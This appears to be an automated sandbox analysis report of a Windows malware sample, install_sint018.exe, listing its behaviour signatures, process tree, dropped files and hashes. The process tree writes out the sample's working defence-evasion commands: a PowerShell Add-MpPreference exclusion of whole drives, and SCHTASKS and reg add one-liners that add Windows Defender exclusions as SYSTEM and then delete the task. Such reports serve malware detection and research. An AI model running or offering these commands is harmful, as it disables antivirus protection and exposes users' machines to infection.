Analysis

  • max time kernel
    151s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/08/2026, 03:56

General

  • Target
    install_sint018.exe
  • Size 40.7MB
  • Sample260813-ehgfsazsft
  • SHA256 5fd9a61500d6b8d474eb0eae389a2a5ef33d443974b036dce1a055d2cc657e0d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_sint018.exe
    "C:\Users\Admin\AppData\Local\Temp\install_sint018.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:692
  • C:\Users\Public\8jRCNA\EihJcm.exe
    "C:\Users\Public\8jRCNA\EihJcm.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3292
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8jRCNA\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8jRCNA\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2408
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4668
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5884
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5160
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3212
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3120
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2100
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4164
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2332
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3392
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1968
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4168
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2724
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3604
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6116
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4860
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4704
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2964
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1628
                      • C:\Users\Public\8jRCNA\EihJcm.exe
                        "C:\Users\Public\8jRCNA\EihJcm.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5656
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8jRCNA" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4664
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8jRCNA" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4600
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2412
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4556
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4048
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4484
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2780

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              EihJcm.exe

                              • Path C:\Users\Public\8jRCNA\EihJcm.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\8jRCNA\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 a4d1259ee008e0d7bacc395465cd0f12a65e7fe5270606f3fdc0e8aca8be23bf
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\8jRCNA\adoresd.dat
                              • Size 4.7MB
                              • SHA256 2bc32064d51ffe1ec611300dfa1df3ee626fc5aa994679554b4b9e79c422f168
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\8jRCNA\msadox.tb
                              • Size 8KB
                              • SHA256 71bc6bbbd637e811d7c048ff05c51c7e6da86fbaccc898409692f82bc22900ee
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/692-523-0x0000000004780000-0x000000000478E000-memory.dmp

                              memory/692-524-0x00007FFEB7B40000-0x00007FFEB7B52000-memory.dmp

                              memory/692-0-0x0000000004780000-0x000000000478E000-memory.dmp

                              memory/692-503-0x00007FFEB7B40000-0x00007FFEB7B52000-memory.dmp

                              memory/692-1-0x0000000004790000-0x000000000479C000-memory.dmp

                              memory/3292-612-0x000001927F9E0000-0x000001927F9EA000-memory.dmp

                              memory/3292-611-0x0000019200280000-0x0000019200332000-memory.dmp

                              memory/3292-610-0x0000019200260000-0x000001920027E000-memory.dmp

                              memory/3292-607-0x000001927FB40000-0x000001927FB62000-memory.dmp

                              memory/4368-561-0x00000159809E0000-0x0000015980A6A000-memory.dmp

                              memory/4368-539-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-543-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-546-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-545-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-549-0x00000159FD660000-0x00000159FDB7E000-memory.dmp

                              memory/4368-551-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-557-0x0000015980900000-0x000001598094E000-memory.dmp

                              memory/4368-560-0x00000159809E0000-0x0000015980A6A000-memory.dmp

                              memory/4368-538-0x00007FFEC8260000-0x00007FFEC8262000-memory.dmp

                              memory/4368-559-0x00000159809E0000-0x0000015980A6A000-memory.dmp

                              memory/4368-558-0x00000159809E0000-0x0000015980A6A000-memory.dmp

                              memory/4368-564-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-566-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-567-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-544-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/4368-614-0x00000159FD660000-0x00000159FDB7E000-memory.dmp

                              memory/4368-530-0x00007FFEC8250000-0x00007FFEC8252000-memory.dmp

                              memory/4368-531-0x00000159FD660000-0x00000159FDB7E000-memory.dmp

                              memory/4368-536-0x0000015980000000-0x0000015980891000-memory.dmp

                              memory/5656-575-0x00007FFEC8250000-0x00007FFEC8252000-memory.dmp

                              memory/5656-590-0x00007FFEC8250000-0x00007FFEC8252000-memory.dmp

                              memory/5656-589-0x000002C93C7A0000-0x000002C93D031000-memory.dmp

                              memory/5656-587-0x000002C93C7A0000-0x000002C93D031000-memory.dmp

                              memory/5656-591-0x000002C939F20000-0x000002C93A43E000-memory.dmp

                              memory/5656-588-0x000002C93C7A0000-0x000002C93D031000-memory.dmp

                              memory/5656-586-0x000002C93C7A0000-0x000002C93D031000-memory.dmp

                              memory/5656-582-0x000002C93C7A0000-0x000002C93D031000-memory.dmp

                              memory/5656-581-0x00007FFEC8260000-0x00007FFEC8262000-memory.dmp

                              memory/5656-579-0x000002C93C7A0000-0x000002C93D031000-memory.dmp

                              memory/5656-576-0x000002C939F20000-0x000002C93A43E000-memory.dmp